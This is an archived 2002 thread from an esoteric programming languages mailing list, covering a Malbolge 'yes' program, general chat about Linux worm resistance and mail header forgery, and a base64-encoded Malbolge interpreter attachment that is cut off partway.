Errors-to: misc-bounce@esoteric.sange.fi
X-original-sender: dseaman@luminet.net
Precedence: bulk
X-list: misc

Hi, everybody.

I am unlurking in order to present my first real Malbolge program--a "yes"
utility.  It prints an infinite number of y's.  (It doesn't print linefeeds,
though, like the real GNU version.)  The idea is to pipe the output to
commands that want interactive confirmation of whatever they're doing.
Here it is:

(&&A##>~~;{{8xx5uu2rr/oo,ll)i'hC$#"!~}|<:y'wvutsrU0                          

I started writing it about a month ago when someone asked about the
Turing-completeness of Malbolge and whether it could do loops and
arithmetic.  I wanted to try out an idea of how it might do loops.
Unfortunately for TC qualifications, this program only does an infinite loop
so it doesn't count.  Also, Malbolge is finite, and you can't even pretend
the registers are indefinitely large because both of its operations
depend on the size of the registers to define their results.

The only way Malbolge lets you test conditions is to do a computed goto.
So, an indefinite loop could be possible in theory, but would be very
difficult.

I'll let people play around with this if they want to before I explain
how it works, in case anybody wants to figure it out themselves.  I'm
considering writing up a web page on Malbolge.  I'll let you know when
I do.

David Seaman





From esoteric@oiva.sange.fi Fri May 31 08:21:59 2002
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17DerJ-0002Bt-00; Fri, 31 May 2002 08:21:53 +0300
Received: with LISTAR (v0.129a; list misc); Fri, 31 May 2002 08:21:45 +0300 (EEST)
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17Der3-0002Bl-00; Fri, 31 May 2002 08:21:37 +0300
Received: with LISTAR (v0.129a; list lang); Fri, 31 May 2002 08:21:30 +0300 (EEST)
Received: from mail.inf.tu-dresden.de ([141.76.2.1])
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17Deqq-0002Be-00
	for lang@esoteric.sange.fi; Fri, 31 May 2002 08:21:24 +0300
Received: from irz601.inf.tu-dresden.de (irz601.inf.tu-dresden.de [141.76.2.66])
	by mail.inf.tu-dresden.de (8.11.2/8.11.2) with ESMTP id g4V5LLj19952
	for <lang@esoteric.sange.fi>; Fri, 31 May 2002 07:21:22 +0200 (MET DST)
Received: (from bf3@localhost)
	by irz601.inf.tu-dresden.de (8.10.2+Sun/8.10.2) id g4V5LLA29293
	for lang@esoteric.sange.fi; Fri, 31 May 2002 07:21:21 +0200 (MET DST)
Date: Fri, 31 May 2002 07:21:21 +0200
From: Bertram Felgenhauer <bf3@mail.inf.tu-dresden.de>
To: lang@esoteric.sange.fi
Subject: [lang] Re: Fortunatly For Me - Virus Blocking !
Message-ID: <20020531072121.A28900@irz601.inf.tu-dresden.de>
References: <E17DRtV-0002ig-00@study.anacroatan.org> <3CF698D5.B9B0DCA3@dds.nl>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Mailer: Mutt 0.95.1i
In-Reply-To: <3CF698D5.B9B0DCA3@dds.nl>; from Milo van Handel on Thu, May 30, 2002 at 11:25:41PM +0200
X-listar-version: Listar v0.129a
Sender: lang-bounce@esoteric.sange.fi
Errors-to: lang-bounce@esoteric.sange.fi
X-original-sender: bf3@mail.inf.tu-dresden.de
Precedence: bulk
Reply-to: lang@esoteric.sange.fi
X-list: lang
X-listar-version: Listar v0.129a
Sender: misc-bounce@esoteric.sange.fi
Errors-to: misc-bounce@esoteric.sange.fi
X-original-sender: bf3@mail.inf.tu-dresden.de
Precedence: bulk
X-list: misc

Hi,

> However, although root might be necessary to completely destroy your
> computer, you're probably keeping most of your data under that user 
> account, so a virus that simply deletes the victim's home directory and
> ignores the rest could in principal work.  The real reason that Linux is
> so secure is that neither the script kiddies nor the people who click on
> viri are smart enough to understand how to use Linux.

Hmm, actually I see the reason in the fact that Linux installations
tend to be quite diverse and have quite few security holes compared
to, say, Windows.  Alas, this is changing - as more and more people
are using Linux and the installation is becoming increasingly easier,
the resulting Linux systems become more and more similar to each
other.  At the same time, the average Linux user becomes more and
more clueless, and all that makes Linux increasingly interesting
for the cracker community.  In addition, a compromised Linux box is
far more attractive than a compromised Windows box because it usually
comes with lots of useful tools and even compilers already installed.

I'm not talking of the email worm scenario here because software
that executes code from emails without explicitely asking the
user is still rare under Linux unless I've missed something.

But things like buffer overflows are a problem, and with just
a few distributions around they are easily exploitable remotely,
and automatically.

And while the average script kiddie might not be smart enough
to understand that stuff, there are quite a few 'bad guys' who
do. For example,

  http://www.phrachttp://www.phrack.org/phrack/58/p58-0x07

has an interesting article about on-the-fly kernel patching,
complete with source code, and I've actually seen a compromised
machine which had the provided 'tool' 'installed'.

regards,

Bertram

-- 
    `.oo'     "Do not meddle in the affairs of Wizards, for they
 ,.  (`-'   are subtle and quick to anger."        -- J.R.R. Tolkien
'^\`-' )      "Do not meddle in the affairs of wizards, for you
   c-L'-    are crunchy and good with ketchup."    -- Terry Pratchett





From esoteric@oiva.sange.fi Fri May 31 10:43:48 2002
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17Dh4A-0002li-00; Fri, 31 May 2002 10:43:18 +0300
Received: with LISTAR (v0.129a; list misc); Fri, 31 May 2002 10:43:11 +0300 (EEST)
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17Dh42-0002lc-00; Fri, 31 May 2002 10:43:10 +0300
Received: with LISTAR (v0.129a; list chat); Fri, 31 May 2002 10:43:08 +0300 (EEST)
Received: from porsta.cs.helsinki.fi ([128.214.48.124])
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17Dh3z-0002lW-00
	for chat@esoteric.sange.fi; Fri, 31 May 2002 10:43:07 +0300
Received: from melkinpaasi.cs.Helsinki.FI (sslwrap@localhost [127.0.0.1])
	by porsta.cs.Helsinki.FI (8.11.6/8.11.6) with ESMTP id g4V7h6O17777
	for <chat@esoteric.sange.fi>; Fri, 31 May 2002 10:43:06 +0300
Received: from localhost (pkalliok@localhost)
	by melkinpaasi.cs.Helsinki.FI (8.11.6/8.11.2) with ESMTP id g4V7h3r30491
	for <chat@esoteric.sange.fi>; Fri, 31 May 2002 10:43:04 +0300
X-Authentication-Warning: melkinpaasi.cs.Helsinki.FI: pkalliok owned process doing -bs
Date: Fri, 31 May 2002 10:43:03 +0300 (EEST)
From: Panu A Kalliokoski <pkalliok@cs.Helsinki.FI>
To: chat@esoteric.sange.fi
Subject: [chat] Re: worms
In-Reply-To: <3CF646A4.48BB0214@decis.be>
Message-ID: <Pine.LNX.4.44.0205311031270.27281-100000@melkinpaasi.cs.Helsinki.FI>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-listar-version: Listar v0.129a
Sender: chat-bounce@esoteric.sange.fi
Errors-to: chat-bounce@esoteric.sange.fi
X-original-sender: pkalliok@cs.Helsinki.FI
Precedence: bulk
Reply-to: chat@esoteric.sange.fi
X-list: chat
X-listar-version: Listar v0.129a
Sender: misc-bounce@esoteric.sange.fi
Errors-to: misc-bounce@esoteric.sange.fi
X-original-sender: pkalliok@cs.Helsinki.FI
Precedence: bulk
X-list: misc

On Thu, 30 May 2002 justin@anacroatan.org wrote:
> But, the design of a system is important too. Root, the only one who's account
> can significantly harm my computer, cannot recieve mail (mail addressed to
> root goes to my user account). A virus writer would have to request in their
> email "please execute this code as root" and hope I did what they said. I don't

... given that the system does not contain holes that allow the code to 
obtain root permissions anyway. Of course, the "real authentication" 
scheme adds the difficulty of writing viri/worms, because there are not 
two layers that have to contain holes - the mail client, allowing code to 
be executed, and the OS, allowing user processes to obtain root 
privileges.

However, in the case of pine on FreeBSD (which is what I'm usually using),
these two conditions have been simultaneously fulfilled (and known as
bugs) at least twice in the last year.

> even have a way to automaticly run executables mailed to me (I could have a way,
> yes, but I purposely set it up so I (and more importantly others who use this
> machine who are less clueful) do not).

I think the reason Unix-like OS's tend to be less vulnerable to attacks is
that they come with a programmer attitude of "intelligence in received
data is bad". The worst thing in M$ OS's is that the hegemonistic
programmer attitude in those circles is very destructive and obscurantist.

Unix-like OS's' programming culture is also crippled with dangerous
manners, like insisting on using C for system tasks (how many security
holes _would_ actually have been avoided if C had automatic bound checks?)

On Thu, 30 May 2002, Frederic van der Plancke wrote:
> I was thinking about the way SPAMmers manipulate mail headers to disguise
> their actual origin. The worm [lang] has received had a bogus Sender field,
> it seems, I was surprised by that (but probably should have not been.)

The only somewhat reliable places to pick up the source are envelope
"From" (not header "From:") and "Received:" headers, AFAIK. And those only
if the sender did not find a sendmail open to relaying and spoofing.

> Now, worms like the ones I've got carry on their own mail engine so I guess
> they can forge, er, devise their headers at will.

You need not write your own mail engine. MTA's don't care much about the
headers, and the default install of sendmail on most architectures allows
you to say "mail from anything@anyhost" as much as you want to. (They
don't allow "rcpt to anyone@anyplace" in the default anymore.)

> and the other reached me directly - guess the (human innocent) sender has my
> address somewhere : not surprising. (But they were *different* worms...)

Mutants?

Panu

-- 

Am fuar -> symb <- am fesh
atehwa@iki.fi







From esoteric@oiva.sange.fi Fri May 31 10:47:40 2002
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17Dh8N-0002mt-00; Fri, 31 May 2002 10:47:39 +0300
Received: with LISTAR (v0.129a; list misc); Fri, 31 May 2002 10:47:32 +0300 (EEST)
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17Dh88-0002mn-00; Fri, 31 May 2002 10:47:24 +0300
Received: with LISTAR (v0.129a; list lang); Fri, 31 May 2002 10:47:16 +0300 (EEST)
Received: from porsta.cs.helsinki.fi ([128.214.48.124])
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17Dh80-0002mh-00
	for lang@esoteric.sange.fi; Fri, 31 May 2002 10:47:16 +0300
Received: from melkinpaasi.cs.Helsinki.FI (sslwrap@localhost [127.0.0.1])
	by porsta.cs.Helsinki.FI (8.11.6/8.11.6) with ESMTP id g4V7lFO18763
	for <lang@esoteric.sange.fi>; Fri, 31 May 2002 10:47:15 +0300
Received: from localhost (pkalliok@localhost)
	by melkinpaasi.cs.Helsinki.FI (8.11.6/8.11.2) with ESMTP id g4V7lC130831
	for <lang@esoteric.sange.fi>; Fri, 31 May 2002 10:47:12 +0300
X-Authentication-Warning: melkinpaasi.cs.Helsinki.FI: pkalliok owned process doing -bs
Date: Fri, 31 May 2002 10:47:12 +0300 (EEST)
From: Panu A Kalliokoski <pkalliok@cs.Helsinki.FI>
To: lang@esoteric.sange.fi
Subject: [lang] Re: [prop] malware / users CA
In-Reply-To: <3CF6998D.CAAD211A@dds.nl>
Message-ID: <Pine.LNX.4.44.0205311045450.27281-100000@melkinpaasi.cs.Helsinki.FI>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-listar-version: Listar v0.129a
Sender: lang-bounce@esoteric.sange.fi
Errors-to: lang-bounce@esoteric.sange.fi
X-original-sender: pkalliok@cs.Helsinki.FI
Precedence: bulk
Reply-to: lang@esoteric.sange.fi
X-list: lang
X-listar-version: Listar v0.129a
Sender: misc-bounce@esoteric.sange.fi
Errors-to: misc-bounce@esoteric.sange.fi
X-original-sender: pkalliok@cs.Helsinki.FI
Precedence: bulk
X-list: misc

On Thu, 30 May 2002, Milo van Handel wrote:
> But remember that if this is a programming language, you have to give the
> programmer some reason to want to make script kiddie nodes.  Thus, for the language
> to be interesting, viri have to actually be necessary in order to achieve Turing
> completeness.

Maybe the viri could evolve into script kiddies eventually?

-- 

Am fuar -> symb <- am fesh
atehwa@iki.fi







From esoteric@oiva.sange.fi Fri May 31 11:49:23 2002
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17Di5b-00034p-00; Fri, 31 May 2002 11:48:52 +0300
Received: with LISTAR (v0.129a; list misc); Fri, 31 May 2002 11:48:44 +0300 (EEST)
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17Di5H-00034g-00; Fri, 31 May 2002 11:48:31 +0300
Received: with LISTAR (v0.129a; list lang); Fri, 31 May 2002 11:48:23 +0300 (EEST)
Received: from porsta.cs.helsinki.fi ([128.214.48.124])
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17Di58-00034a-00
	for lang@esoteric.sange.fi; Fri, 31 May 2002 11:48:22 +0300
Received: from melkinpaasi.cs.Helsinki.FI (sslwrap@localhost [127.0.0.1])
	by porsta.cs.Helsinki.FI (8.11.6/8.11.6) with ESMTP id g4V8mLO02698
	for <lang@esoteric.sange.fi>; Fri, 31 May 2002 11:48:21 +0300
Received: from localhost (pkalliok@localhost)
	by melkinpaasi.cs.Helsinki.FI (8.11.6/8.11.2) with ESMTP id g4V8mIB03064
	for <lang@esoteric.sange.fi>; Fri, 31 May 2002 11:48:18 +0300
X-Authentication-Warning: melkinpaasi.cs.Helsinki.FI: pkalliok owned process doing -bs
Date: Fri, 31 May 2002 11:48:18 +0300 (EEST)
From: Panu A Kalliokoski <pkalliok@cs.Helsinki.FI>
To: lang@esoteric.sange.fi
Subject: [lang] Re: Malbolge
In-Reply-To: <200205310454.XAA00248@luminet.net>
Message-ID: <Pine.LNX.4.44.0205311125140.27281-200000@melkinpaasi.cs.Helsinki.FI>
MIME-Version: 1.0
Content-Type: MULTIPART/MIXED; BOUNDARY="-696251126-1306589166-1022834898=:27281"
X-listar-version: Listar v0.129a
Sender: lang-bounce@esoteric.sange.fi
Errors-to: lang-bounce@esoteric.sange.fi
X-original-sender: pkalliok@cs.Helsinki.FI
Precedence: bulk
Reply-to: lang@esoteric.sange.fi
X-list: lang
X-listar-version: Listar v0.129a
Sender: misc-bounce@esoteric.sange.fi
Errors-to: misc-bounce@esoteric.sange.fi
X-original-sender: pkalliok@cs.Helsinki.FI
Precedence: bulk
X-list: misc

  This message is in MIME format.  The first part should be readable text,
  while the remaining parts are likely unreadable without MIME-aware tools.
  Send mail to mime@docserver.cac.washington.edu for more info.

---696251126-1306589166-1022834898=:27281
Content-Type: TEXT/PLAIN; charset=US-ASCII


(Attached - a malbolge interpreter for people who'd like to see what 
happens in a malbolge program)

On Thu, 30 May 2002, David Seaman wrote:
> I am unlurking in order to present my first real Malbolge program--a "yes"
> utility.  It prints an infinite number of y's.  (It doesn't print linefeeds,

A very impressive delurk if you ask me. (Although it doesn't actually
implement a "yes" utility, at least in the unix way - the y's should be
intertwined with newlines.)

> (&&A##>~~;{{8xx5uu2rr/oo,ll)i'hC$#"!~}|<:y'wvutsrU0                          

This has opened my eyes a lot - I never spent much time examining the 
translation tables, which, after all, are the soul of Malbolge. It seems 
that some actual (in-core) instructions are indestructible, and if you put 
them into appropriate offsets, they can work as any command one wants to.

What I find worrying in this jewel is that it relies on filling the 
memory with a pattern to allow for the jumps. This means it would be very 
hard to put _two_ loops in the same program...

How did you come up with the command cycle that causes the putc() calls 
and data pointer jumps?

> Unfortunately for TC qualifications, this program only does an infinite loop
> so it doesn't count.  Also, Malbolge is finite, and you can't even pretend

Yes, it's definitely not a proof of TC (even if we adjusted Malbolge into
an infinite memory model), but it does dwarf one of my main arguments of
non-TC. And the program is surpirsingly short.

Of course, the loop is a result of some five factors that just happen to
be right, at most two of which I think could have been made on purpose
(such as the indestructibility of command '0'). More complicated things
would require all the more coincidents factors, and the possibility of
finding those would degrade exponentially...

And because of the translation modulus, there are actually only 94 offsets
that might cause different behavior. Examining the results of different
command cycles in these would result in a complete analysis of what can be
done in Malbolge...

Anyway, thank you for this very interesting piece of code.

-- 

Am fuar -> symb <- am fesh
atehwa@iki.fi


---696251126-1306589166-1022834898=:27281
Content-Type: TEXT/PLAIN; charset=US-ASCII; name="malbolge.c"
Content-Transfer-Encoding: BASE64
Content-ID: <Pine.LNX.4.44.0205311148180.27281@melkinpaasi.cs.Helsinki.FI>
Content-Description: Malbolge interpreter with debug output
Content-Disposition: attachment; filename="malbolge.c"

LyogSW50ZXJwcmV0ZXIgZm9yIE1hbGJvbGdlLiAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICovDQovKiAnOTggQmVuIE9sbXN0
ZWFkLiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgKi8NCi8qICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAqLw0KLyog
TWFsYm9sZ2UgaXMgdGhlIG5hbWUgb2YgRGFudGUncyBFaWdodGggY2lyY2xl
IG9mIEhlbGwuICBUaGlzICAgICAgICovDQovKiBpbnRlcnByZXRlciBpc24n
dCBldmVuIENvcHlsZWZ0ZWQ7IEkgaGVyZWJ5IHBsYWNlIGl0IGluIHRoZSBw
dWJsaWMgKi8NCi8qIGRvbWFpbi4gIEhhdmUgZnVuLi4uICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAqLw0KLyogICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICovDQovKiBOb3RlOiBpbiBrZWVwaW5nIHdp
dGggdGhlIGlkZWEgdGhhdCBwcm9ncmFtbWluZyBpbiBNYWxib2xnZSBpcyAg
ICAgKi8NCi8qIG1lYW50IHRvIGJlIGhlbGwsIHRoZXJlIGlzIG5vIGRlYnVn
Z2VyLiAgICAgICAgICAgICAgICAgICAgICAgICAgICAqLw0KLyogICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICovDQovKiBCeSB0aGUgd2F5LCB0aGlzIGNvZGUg
YXNzdW1lcyB0aGF0IHNob3J0IGlzIDE2IGJpdHMuICBJIGhhdmVuJ3QgICAg
Ki8NCi8qIHNlZW4gYW55IGNhc2Ugd2hlcmUgaXQgaXNuJ3QsIGJ1dCBpdCBt
aWdodCBoYXBwZW4uICBJZiBzaG9ydCBpcyAgICAqLw0KLyogbG9uZ2VyIHRo
YW4gMTYgYml0cywgaXQgd2lsbCBzdGlsbCB3b3JrLCB0aG91Z2ggaXQgd2ls
bCB0YWtlIHVwICAgICovDQovKiBjb25zaWRlcmFibHkgbW9yZSBtZW1vcnku
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgKi8N
Ci8qICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAqLw0KLyogSWYgeW91IGFyZSBj
b21waWxpbmcgd2l0aCBhIDE2LWJpdCBJbnRlbCBjb21waWxlciwgeW91IHdp
bGwgbmVlZCAgICovDQovKiA+NjRLIGRhdGEgYXJyYXlzOyB0aGlzIG1lYW5z
IHVzaW5nIHRoZSBIVUdFIG1lbW9yeSBtb2RlbCBvbiBtb3N0ICAgKi8NCi8q
IGNvbXBpbGVycywgYnV0IE1TIEMsIGFzIG9mIDguMDAsIHBvc3NpYmx5IGVh
cmxpZXIgYXMgd2VsbCwgYWxsb3dzICAqLw0KLyogeW91IHRvIHNwZWNpZnkg
YSBjdXN0b20gbWVtb3J5LW1vZGVsOyB0aGUgYmVzdCBtb2RlbCB0byBjaG9v
c2UgaW4gICovDQovKiB0aGlzIGNhc2UgaXMgL0FzaGQgKG5lYXIgY29kZSwg
aHVnZSBkYXRhKSwgSSB0aGluay4gICAgICAgICAgICAgICAgKi8NCg0KI2lu
Y2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3RkbGliLmg+DQojaW5jbHVk
ZSA8Y3R5cGUuaD4NCiNpbmNsdWRlIDxtYWxsb2MuaD4NCiNpbmNsdWRlIDxz
dHJpbmcuaD4NCg0KI2lmZGVmIF9fR05VQ19fDQpzdGF0aWMgaW5saW5lDQoj
ZW5kaWYNCnZvaWQgZXhlYyggdW5zaWduZWQgc2hvcnQgKm1lbSApOw0KDQoj
aWZkZWYgX19HTlVDX18NCnN0YXRpYyBpbmxpbmUNCiNlbmRpZg0KdW5zaWdu
ZWQgc2hvcnQgb3AoIHVuc2lnbmVkIHNob3J0IHgsIHVuc2lnbmVkIHNob3J0
IHkgKTsNCg0KY29uc3QgY2hhciB4bGF0MVtdID0NCiAgIitiKDI5ZSpqMVZN
RUtMeUN9KTgmbSN+Vz5xeGRScDB3a3JVb1tENyxYVGNBXCJsSSINCiAgIi52
JXtnSmg0R1xcLT1PQDVgXzNpPD9aJztGTlF1WV1zemYkIUJTL3x0OlBuNl5I
YSI7DQoNCmNvbnN0IGNoYXIgeGxhdDJbXSA9DQogICI1el0mZ3F0eWZyJCh3
ZTR7V1ApSC1abixbJVxcM2RMK1E7PlUhcEpTNzJGaE9BMUMiDQogICJCNnZe
PUlfMC84fGpzYjltPC5UVmFjYHVZKk1LJ1h+eERsfVJFb2tOOiM/R1wiaUAi
Ow0KDQppbnQgbWFpbiggaW50IGFyZ2MsIGNoYXIgKiphcmd2ICkNCnsNCiAg
RklMRSAqZjsNCiAgdW5zaWduZWQgc2hvcnQgaSA9IDAsIGo7DQogIGludCB4
Ow0KICB1bnNpZ25lZCBzaG9ydCAqbWVtOw0KICBpZiAoIGFyZ2MgIT0gMiAp
DQogIHsNCiAgICBmcHV0cyggImludmFsaWQgY29tbWFuZCBsaW5lXG4iLCBz
dGRlcnIgKTsNCiAgICByZXR1cm4gKCAxICk7DQogIH0NCiAgaWYgKCAoIGYg
PSBmb3BlbiggYXJndlsxXSwgInIiICkgKSA9PSBOVUxMICkNCiAgew0KICAg
IGZwdXRzKCAiY2FuJ3Qgb3BlbiBmaWxlXG4iLCBzdGRlcnIgKTsNCiAgICBy
ZXR1cm4gKCAxICk7DQogIH0NCiNpZmRlZiBfTVNDX1ZFUg0KICBtZW0gPSAo
dW5zaWduZWQgc2hvcnQgKilfaGFsbG9jKCA1OTA0OSwgc2l6ZW9mKHVuc2ln
bmVkIHNob3J0KSApOw0KI2Vsc2UNCiAgbWVtID0gKHVuc2lnbmVkIHNob3J0
ICopbWFsbG9jKCBzaXplb2YodW5zaWduZWQgc2hvcnQpICogNTkwNDkgKTsN
CiNlbmRpZg0KICBpZiAoIG1lbSA9PSBOVUxMICkNCiAgew0KICAgIGZjbG9z
ZSggZiApOw0KICAgIGZwdXRzKCAiY2FuJ3QgYWxsb2NhdGUgbWVtb3J5XG4i
LCBzdGRlcnIgKTsNCiAgICByZXR1cm4gKCAxICk7DQogIH0NCiAgd2hpbGUg
KCAoIHggPSBnZXRjKCBmICkgKSAhPSBFT0YgKQ0KICB7DQogICAgaWYgKCBp
c3NwYWNlKCB4ICkgKSBjb250aW51ZTsNCiAgICBpZiAoIHggPCAxMjcgJiYg
eCA+IDMyICkNCiAgICB7DQogICAgICBpZiAoIHN0cmNociggImppKnA8L3Zv
IiwgeGxhdDFbKCB4IC0gMzMgKyBpICkgJSA5NF0gKSA9PSBOVUxMICkNCiAg
ICAgIHsNCiAgICAgICAgZnB1dHMoICJpbnZhbGlkIGNoYXJhY3RlciBpbiBz
b3VyY2UgZmlsZVxuIiwgc3RkZXJyICk7DQogICAgICAgIGZyZWUoIG1lbSAp
Ow0KICAgICAgICBmY2xvc2UoIGYgKTsNCiAgICAgICAgcmV0dXJuICggMSAp
Ow0KICAgICAgfQ0KICAgIH0NCiAgICBpZiAoIGkgPT0gNTkwNDkgKQ0KICAg
IHsNCiAgICAgIGZwdXRzKCAiaW5wdXQgZmlsZSB0b28gbG9uZ1xuIiwgc3Rk
ZXJyICk7DQogICAgICBmcmVlKCBtZW0gKTsNCiAgICAgIGZjbG9zZSggZiAp
Ow0KICAgICAgcmV0dXJuICggMSApOw0KICAgIH0NCiAgICBtZW1baSsrXSA9
IHg7DQogIH0NCiAgZmNsb3NlKCBmICk7DQogIHdoaWxlICggaSA8IDU5MDQ5
ICkgbWVtW2ldID0gb3AoIG1lbVtpIC0gMV0sIG1lbVtpIC0gMl0gKSwgaSsr
Ow0KICBleGVjKCBtZW0gKTsNCiAgZnJlZSggbWVtICk7DQogIHJldHVybiAo
IDAgKTsNCn0NCg0KI2lmZGVmIF9fR05VQ19fDQpzdGF0aWMgaW5saW5lDQoj
ZW5kaWYNCnZvaWQgZXhlYyggdW5zaWduZWQgc2hvcnQgKm1lbSApDQp7DQog
IHVuc2lnbmVkIHNob3J0IGEgPSAwLCBjID0gMCwgZCA9IDA7DQogIGludCB4
Ow0KICBmb3IgKDs7KQ0KICB7DQogICAgaWYgKCBtZW1bY10gPCAzMyB8fCBt
ZW1bY10gPiAxMjYgKSBjb250aW51ZTsNCiAgICBmcHJpbnRmKCBzdGRlcnIs
ICJDbWRcIiVjXCI6ICIsIG1lbVtjXSApOw0KICAgIHN3aXRjaCAoIHhsYXQx
WyggbWVtW2NdIC0gMzMgKyBjICkgJSA5NF0gKQ0KICAgIHsNCiAgICAgIGNh
c2UgJ2onOiAgZnByaW50Ziggc3RkZXJyLCAiRGVyZWZcdGF0ICVkOiAlZCgl
ZCwgJWQsICVkKSAtPiAlZCglZCwgJWQsICVkKSIsIGMsIGQsIG1lbVtkLTFd
LCBtZW1bZF0sIG1lbVtkKzFdLCBtZW1bZF0sIG1lbVttZW1bZF0tMV0sIG1l
bVttZW1bZF1dLCBtZW1bbWVtW2RdKzFdICk7IGQgPSBtZW1bZF07IGJyZWFr
Ow0KICAgICAgY2FzZSAnaSc6ICBmcHJpbnRmKCBzdGRlcnIsICJKdW1wXHRh
dCAlZDogLT4gJWQgKGQ9JWQoJWQsICVkLCAlZCkpIiwgYywgbWVtW2RdLCBk
LCBtZW1bZC0xXSwgbWVtW2RdLCBtZW1bZCsxXSApOyBjID0gbWVtW2RdOyBi
cmVhazsNCiAgICAgIGNhc2UgJyonOiBhID0gbWVtW2RdID0gbWVtW2RdIC8g
MyArIG1lbVtkXSAlIDMgKiAxOTY4MzsgZnByaW50Ziggc3RkZXJyLCAiU2hp
ZnRcdGF0ICVkOiBhPSVkKFwiJWNcIikiLCBjLCBhLCBhICk7IGJyZWFrOw0K
ICAgICAgY2FzZSAncCc6IGEgPSBtZW1bZF0gPSBvcCggYSwgbWVtW2RdICk7
IGZwcmludGYoIHN0ZGVyciwgIk9wXHRhdCAlZDogYT0lZChcIiVjXCIpIiwg
YywgYSwgYSApOyBicmVhazsNCiAgICAgIGNhc2UgJzwnOg0KI2lmICdcbicg
IT0gMTANCiAgICAgICAgaWYgKCB4ID09IDEwICkgcHV0YyggJ1xuJywgc3Rk
b3V0ICk7IGVsc2UNCiNlbmRpZg0KCWZwcmludGYoIHN0ZGVyciwgIlB1dGNc
dGF0ICVkOiBcIiVjXCJcbiIsIGMsIGEgKTsNCiAgICAgICAgcHV0YyggYSwg
c3Rkb3V0ICk7DQogICAgICAgIGJyZWFrOw0KICAgICAgY2FzZSAnLyc6DQog
ICAgICAgIHggPSBnZXRjKCBzdGRpbiApOw0KI2lmICdcbicgIT0gMTANCiAg
ICAgICAgaWYgKCB4ID09ICdcbicgKSBhID0gMTA7IGVsc2UNCiNlbmRpZg0K
ICAgICAgICBpZiAoIHggPT0gRU9GICkgYSA9IDU5MDQ4OyBlbHNlIGEgPSB4
Ow0KCWZwcmludGYoIHN0ZGVyciwgIkdldGNcdGF0ICVkOiBcIiVjXCJcbiIs
IGMsIGEgKTsNCiAgICAgICAgYnJlYWs7DQogICAgICBjYXNlICd2JzogZnBy
aW50Ziggc3RkZXJyLCAiUmV0dXJuXHRhdCAlZFxuIiwgYyApOyByZXR1cm47
DQogICAgICBkZWZhdWx0OiBmcHJpbnRmKCBzdGRlcnIsICJOb3BcdGF0ICVk
IiwgYyApOw0KICAgIH0NCiAgICBtZW1bY10gPSB4bGF0MlttZW1bY10gLSAz
M107IGZwcmludGYoIHN0ZGVyciwgIiAtLSBuZXcgY29tbWFuZCBpcyBcIiVj
XCJcbiIsIG1lbVtjXSApOw0KICAgIGlmICggYyA9PSA1OTA0OCApIHsgZnBy
aW50Ziggc3RkZXJyLCAiQ29kZSBwb2ludGVyIHdyYXBcbiIgKTsgYyA9IDA7
IH0gZWxzZSBjKys7DQogICAgaWYgKCBkID09IDU5MDQ4ICkgeyBmcHJpbnRm
KCBzdGRlcnIsICJEYXRhIHBvaW50ZXIgd3JhcFxuIiApOyBkID0gMDsgfSBl
bHNlIGQrKzsNCiAgfQ0KfQ0KDQojaWZkZWYgX19HTlVDX18NCnN0YXRpYyBp
bmxpbmUNCiNlbmRpZg0KdW5zaWduZWQgc2hvcnQgb3AoIHVuc2lnbmVkIHNo
b3J0IHgsIHVuc2lnbmVkIHNob3J0IHkgKQ0Kew0KICB1bnNpZ25lZCBzaG9y
dCBpID0gMCwgajsNCiAgc3RhdGljIGNvbnN0IHVuc2lnbmVkIHNob3J0IHA5
WzVdID0NCiAgICB7IDEsIDksIDgxLCA3MjksIDY1NjEgfTsNCiAgc3RhdGlj
IGNvbnN0IHVuc2lnbmVkIHNob3J0IG9bOV1bOV0gPQ0KICAgIHsNCiAgICAg
IHsgNCwgMywgMywgMSwgMCwgMCwgMSwgMCwgMCB9LA0KICAgICAgeyA0LCAz
LCA1LCAxLCAwLCAyLCAxLCAwLCAyIH0sDQogICAgICB7IDUsIDUsIDQsIDIs
IDIsIDEsIDIsIDIsIDEgfSwNCiAgICAgIHsgNCwgMywgMywgMSwgMCwgMCwg
NywgNiwgNiB9LA0KICAgICAgeyA0LCAzLCA1LCAxLCAwLCAyLCA3LCA2LCA4
IH0sDQogICAgICB7IDUsIDUsIDQsIDIsIDIsIDEsIDgsIDgsIDcgfSwNCiAg
